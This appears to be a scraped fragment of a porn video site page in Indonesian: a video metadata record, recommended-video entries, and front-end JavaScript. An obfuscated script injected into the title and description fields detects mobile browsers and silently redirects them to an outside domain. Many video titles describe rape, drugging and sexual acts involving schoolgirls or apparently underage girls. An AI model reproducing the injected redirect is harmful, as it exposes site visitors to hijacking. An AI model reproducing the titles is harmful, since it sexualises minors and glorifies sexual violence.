</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Seorang mahasiswi yang polos dan lembut yang saya temui di Momo memberi saya seks oral di depan cermin, lalu menelan air mani saya saat kami berhubungan seks dan dia menonton.</script></title>
Seorang mahasiswi yang polos dan lembut yang saya temui di Momo memberi saya seks oral di depan cermin, lalu menelan air mani saya saat kami berhubungan seks dan dia menonton.","site_id":0,"video_url":"https://lsbbf10.com/20260706/2T2Kpvre/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDgvZDZjNzVjYmU0OGIxZjY1MjgyNGRhYzIxOTAzODUwNDcuanBn.cache","duration":"04:37","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["berwarna merah muda","Seks oral","murni","Pintu masuk belakang","siswi sekolah","murid","menelan air mani","Momo","Seks oral dan seks anal","Cermin","berwarna merah muda","Tiba"],"site_url":"354389","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["主播直播"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDgvZDZjNzVjYmU0OGIxZjY1MjgyNGRhYzIxOTAzODUwNDcuanBn.cache","maker":"","table_name":"videos_laosebizy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"陌陌上约到的清纯粉嫩的学生妹在镜子面口爆后入吞精边干边参观","s_keywords":"陌陌上约到的清纯粉嫩的学生妹在镜子面口爆后入吞精边干边参观","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Seorang mahasiswi yang polos dan lembut yang saya temui di Momo memberi saya seks oral di depan cermin, lalu menelan air mani saya saat kami berhubungan seks dan dia menonton.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNjFhMmUxZDZmNWQwMjIwM2Q5NjMxNTI0YTlmMGZlNGIuanBn.cache","vod_id":19117092,"title":"Paman, tolong pelan-pelan dengan bagian bawah tubuhku, sakit sekali! Siaran langsung saat pertama kali aku kehilangan keperawanan! Kupu-kupu merah mudaku, yang bahkan belum memiliki bulu kemaluan yang tumbuh sempurna, sedang ditusuk!","lastmod":"2026-01-08","duration":"19:01","url":"/play/19117092.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzBjNzczZWI1NThmYjJiZGY4ZThmMDJlNzljZTQxYjguanBn.cache","vod_id":19059157,"title":"[Sahabat perempuan yang polos] Di belakang kakaknya, dia merayu sahabatnya yang seksi. Saat kakaknya tidur, dia terus menggoda sahabatnya, dengan paksa menelanjanginya, lalu memasukkan penisnya yang besar ke dalam dirinya, memperlihatkan adegan yang menggairahkan dan merangsang itu kepada teman-teman prianya.","lastmod":"2025-03-29","duration":"55:59","url":"/play/19059157.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMDIvZjgwNzIzYmU3ODVmNDk4MzNmMDhjMzRhYWEzZGVmNTQuanBn.cache","vod_id":19103905,"title":"Mahasiswi provokatif, pakaian dalam transparan tak terlihat di kursi, pakaian dalam ketat, 17 aktor tak dikenal, SLAP_139","lastmod":"2025-11-01","duration":"02:08:00","url":"/play/19103905.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNWY5OTU3N2I5MjRhNmQxODQxMmM5YWVlNWIyOGRjNjcuanBn.cache","vod_id":18987704,"title":"Seorang mahasiswa menusuk penisnya sendiri di kamar mandi umum.","lastmod":"2025-03-28","duration":"08:18","url":"/play/18987704.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTgvMDc0MTg5YTdlZTI1MDhkZGVmZDRkYmY1M2IzODIzNjcuanBn.cache","vod_id":19070129,"title":"Hubungan terlarang dengan mantan murid; lubang daging seorang wanita dewasa berusia 40 tahun; Yumiko Minase; Yumiko Minase HBAD-636-C","lastmod":"2025-04-18","duration":"02:00:39","url":"/play/19070129.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTEvZjQyMzFkZjc1MzdiMDQ3MDE5ZjhmZTM0MjE2MDBiZTYuanBn.cache","vod_id":19078035,"title":"MTALL088 Seorang mahasiswi dibius oleh tetangganya, seorang penguntit, dan kemudian diperkosa setelah orang tuanya tidak ada di rumah.","lastmod":"2025-06-11","duration":"02:28:00","url":"/play/19078035.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMjIwNWFiMTI4YTRmZjFkYWM1NjQxY2JkNjM0OTUxNDYuanBn.cache","vod_id":19145306,"title":"Seorang siswi cantik berambut pendek dengan aura dewi kampus kelas atas dan suara yang menggoda—Anda tidak akan melewatkannya! Dua pria saling menjilat dan memijat vulvanya; dia sudah mengeluarkan banyak cairan vagina. Mereka menggunakan berbagai posisi dan teknik untuk menidurinya dengan penuh gairah.","lastmod":"2026-05-24","duration":"32:23","url":"/play/19145306.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNDZkODdkYmVmMDdmNjA1ZWNhOGExMWVhMWI2MDJkYmIuanBn.cache","vod_id":18974181,"title":"Siswi balet diperkosa oleh gurunya, episode 23","lastmod":"2025-03-28","duration":"17:13","url":"/play/18974181.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjA3M2Y1ZWNjM2I2MzFkOGJjNWY5MGE2Y2VkMDdjYTcuanBn.cache","vod_id":19137150,"title":"Sebagai ahli rayuan, dia berhubungan intim dengan mahasiswi berkulit putih dan berpayudara besar di sebuah hotel, mencoba berbagai posisi, tanpa kondom, dan diam-diam berejakulasi di dalam vagina mereka.","lastmod":"2026-04-15","duration":"52:43","url":"/play/19137150.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvM2NjY2I0ZTYyYzRhM2U2NGY3YzRhNWY2NTBmNjFiOWYuanBn.cache","vod_id":19006217,"title":"Seorang wanita tertangkap basah sedang masturbasi di toilet umum pria, pinggangnya yang ramping dan bokongnya yang indah terlihat saat ia sedang disetubuhi dari belakang. Pemandangan itu mendebarkan dan merangsang, menunjukkan bahwa ia adalah mainan seks seorang wanita kaya.","lastmod":"2025-03-28","duration":"06:53","url":"/play/19006217.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYjJlNzU4ZmViNGFmYzg5MzdlMDUxMzJjYzdjMDFmYWMuanBn.cache","vod_id":19063866,"title":"Gadis muda yang cantik! Mengenakan stoking hitam dan sepatu hak tinggi! Buang air kecil, dua wanita berciuman mesra, terjepit di antara mereka, berdiri dengan lengan saling merangkul, lalu penetrasi yang dalam.","lastmod":"2025-03-29","duration":"40:44","url":"/play/19063866.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvY2ViOWQyZjVkNjg3MjQzZmYwM2Y1NGU4YTg1ZWQ4MDMuanBn.cache","vod_id":19122217,"title":"Foto tahunan mahasiswi berkelas tanpa pakaian dalam, payudara ukuran B, cairan putih keluar.","lastmod":"2026-02-03","duration":"11:52","url":"/play/19122217.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MTcvYjZmY2VmODU5YWIyZGEzY2Q5MzBlNDViOWFmY2U1NTMuanBn.cache","vod_id":19084377,"title":"Wanita cantik berambut pendek di kolam renang vila","lastmod":"2025-07-16","duration":"32:23","url":"/play/19084377.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDhkNmMwN2JkNTY0ZDY0OTJjZjkzMDA4ZWM2ZTljZTMuanBn.cache","vod_id":19138751,"title":"Bercinta dengan pacarku yang cantik dan masih junior di loteng - stoking hitam seksi, celana terbuka, berbagai posisi, banyak penetrasi keras - kurasa dia menangis dari belakang.","lastmod":"2026-04-22","duration":"11:02","url":"/play/19138751.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDQvNGYwMzU5NGM5ODhmNzBkYzZhNWVlMTQ3ZjdiYmMxOTcuanBn.cache","vod_id":19093433,"title":"[Bahasa Mandarin] SONE592 Saya tidak tahu apa pun tentang masa sekolah istri saya, tetapi ketika saya melihatnya mencuri seragam keponakan saya, saya merasakan kegembiraan yang aneh... Saya belum bertemu dengannya selama lima tahun.","lastmod":"2025-09-03","duration":"02:02:07","url":"/play/19093433.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMGI4NmZiZWQ0MjRhYjY1MjQ1ZGVkY2EzMTQwYzE5ODguanBn.cache","vod_id":19144417,"title":"Dorongan yang sangat kasar jauh ke dalam tenggorokan seorang mahasiswi yang belum dewasa. Penetrasi tenggorokan terdalam dan terliar dalam hidupnya. Chiharu, seorang mahasiswi biasa. MISM-316-C","lastmod":"2026-05-20","duration":"02:07:58","url":"/play/19144417.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MDcvZDI3MzRlMmZkYTQ3ZjVmNjIxMDcxOGE3ZjNjY2M0MjMuanBn.cache","vod_id":19147891,"title":"Seorang gadis Gen Z bertubuh berisi terbangun karena bosan saat tidur siang dan memanggil seorang pelacur dari sebuah desa di perkotaan ke rumahnya. Pelacur itu adalah seorang gadis desa muda dan langsing yang mengenakan seragam sekolah.","lastmod":"2026-06-06","duration":"09:43","url":"/play/19147891.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTcvY2IzY2ExZWQ0ODczZmQyODU5OGEyYzdlNmZmZDk1NzcuanBn.cache","vod_id":19095959,"title":"Gadis yang pada dasarnya selalu kekurangan uang ini terkadang seorang mahasiswi, terkadang seorang tutor. Sifat aslinya adalah seorang budak seks. (Hasegawa Reimi, JUBE024)","lastmod":"2025-09-16","duration":"02:17:49","url":"/play/19095959.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTUvZDRiZTkwOWI4NTFkYWU3MDExZGY4NmM2NDkzOWQ0ODQuanBn.cache","vod_id":19113493,"title":"Tanpa sadar aku tertarik pada gesekan menggoda bokong tetanggaku dengan celana dalamnya, dan menjadi terobsesi dengan penetrasi gaya doggy style dan ejakulasi di bokong besarnya! Mulai hari berikutnya... (Miyagi Rie HODV-21994)","lastmod":"2025-12-22","duration":"02:19:37","url":"/play/19113493.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTcvZTk4OWVkOWFiNmU0Yzg2YTAxMGQwNDI4MDUwODQxNzUuanBn.cache","vod_id":19069965,"title":"Gadis cantik berrok pendek, ciuman Prancis, seks oral, menggoda, penetrasi anal, hubungan seks yang penuh gairah, erangan dan terengah-engah.","lastmod":"2025-04-17","duration":"38:05","url":"/play/19069965.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MDkvNWQ2YjU3ZDhkMmVkYWU5ODJlOGRiOGZjNTljMWU5ZDAuanBn.cache","vod_id":19148377,"title":"Seri Video Panjang Rooster Club: Seks Oral Seragam Siswi Sekolah Tingkat Lanjut, Sayangku, VS Seks Anal, Pembukaan Larangan","lastmod":"2026-06-08","duration":"53:24","url":"/play/19148377.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMTk0Y2RlODM3YzQ2Njc4YzMxZTYyZDU5OWVmMjRhMzQuanBn.cache","vod_id":19113789,"title":"Para terapis pijat wanita cantik di klub itu memiliki kepribadian yang hebat; mereka memijat, menjilat punggung, meremas payudara, dan mengangkat roknya untuk penetrasi dari belakang.","lastmod":"2025-12-24","duration":"35:39","url":"/play/19113789.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMWI1ZmI3ZmIwOTFkMzFhZWRkNmY3M2IxNjc2NDRjOTAuanBn.cache","vod_id":19003126,"title":"Vivian, yang menyukai stoking, berbagi permainan erotis terbarunya dengan seorang perawat, erangan dan desahannya memikat sekaligus polos! 1","lastmod":"2025-03-28","duration":"12:06","url":"/play/19003126.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvMDQ4YTkyN2M0YzJiZGVlMmU1N2FkYzA1MzY3MTY4OTUuanBn.cache","vod_id":19154442,"title":"Gadis kuliah ini benar-benar kelas atas, cantik, langsing, berkulit putih, mengenakan stoking hitam seksi, dengan kuat melebarkan kakinya dan bekerja sama dengan dorongan dan hentakan, oh oh mengerang.","lastmod":"2026-07-11","duration":"15:54","url":"/play/19154442.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Seorang mahasiswi yang polos dan lembut yang saya temui di Momo memberi saya seks oral di depan cermin, lalu menelan air mani saya saat kami berhubungan seks dan dia menonton.</script></title>',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}